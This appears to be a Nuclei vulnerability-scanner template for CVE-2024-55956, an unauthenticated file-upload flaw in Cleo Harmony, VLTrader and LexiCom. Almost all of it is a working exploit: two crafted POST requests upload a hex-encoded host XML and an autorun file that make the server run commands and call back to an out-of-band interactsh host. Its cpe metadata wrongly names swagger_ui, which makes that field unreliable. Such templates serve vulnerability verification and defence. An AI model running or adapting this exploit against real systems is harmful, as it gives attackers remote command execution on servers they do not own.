id: CVE-2024-55956

info:
  name: Cleo Harmony < 5.8.0.24 - File Upload Vulnerability
  author: iamnoooob,rootxharsh,pdresearch
  severity: critical
  description: |
    In Cleo Harmony before 5.8.0.24, VLTrader before 5.8.0.24, and LexiCom before 5.8.0.24, an unauthenticated user can import and execute arbitrary Bash or PowerShell commands on the host system by leveraging the default settings of the Autorun directory.
  reference:
    - https://attackerkb.com/topics/geR0H8dgrE/cve-2024-55956/rapid7-analysis
    - https://nvd.nist.gov/vuln/detail/CVE-2024-55956
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-55956
    cwe-id: CWE-276
    epss-score: 0.91828
    epss-percentile: 0.99677
    cpe: cpe:2.3:a:smartbear:swagger_ui:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    shodan-query: 'Server: Cleo'
  tags: cve,cve2024,intrusive,cleo,file-upload,kev

flow: http(1) && http(2)

variables:
  payload_1: "{{ hex_decode('[encoded data, 4404 characters]') }}"
  payload_2: "{{ hex_decode('225d5d3e3c2f436f6d6d616e64733e0a2020202020203c46696c6573696e3e303c2f46696c6573696e3e0a2020202020203c46696c65736f75743e303c2f46696c65736f75743e0a2020202020203c53736c3e46616c73653c2f53736c3e0a202020203c2f416374696f6e3e0a20203c2f4d61696c626f783e0a3c2f486f73743e') }}"
  payload: "{{ concat(payload_1, '{{interactsh-url}}', payload_2) }}"
  xml_file: "{{randstr_1}}"
  autorun_file: "{{randstr_2}}"

http:
  - raw:
      - |
        POST /Synchronization HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/form-data;boundary=--------boundary
        VLSync: Multipart;l=0,Acknowledge

        VLSync: ReceivedReceipt;service="AS2";msgId=12345;path="temp/{{xml_file}}.tmp";receiptfolder=Unspecified;
        --------boundary
        {{ zip("hosts/main.xml", payload) }}

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(response), "cleo")'
          - 'len(body) == 0'
        condition: and
        internal: true

  - raw:
      - |
        POST /Synchronization HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/form-data;boundary=--------boundary
        VLSync: Multipart;l=0,Acknowledge

        VLSync: ReceivedReceipt;service="AS2";msgId=12345;path="autorun/{{autorun_file}}.txt";receiptfolder=Unspecified;
        --------boundary
        -i "temp/{{xml_file}}.tmp"
        -r "<6cad07d8-b297-4dea-b0ea-c6f0381e4167>efc76ba0-20ad-47cd-954c-cd5d5b46d33d@d7cc2490-03a9-48a8-8afd-bd7042cfdbd5"

    matchers:
      - type: dsl
        dsl:
          - 'len(body) == 0'
          - 'contains(interactsh_protocol, "dns")'
        condition: and
# digest: 490a004630440220734fe82bc7445b83879287a3d1a4395c93d4695d5ec23229c5d7d8fdab9c0de7022046adac908418d5cb4c5aa9f173b535aa16bb19c94332effb57454311d4d9564b:922c64590222798bb761d5b6d8e72950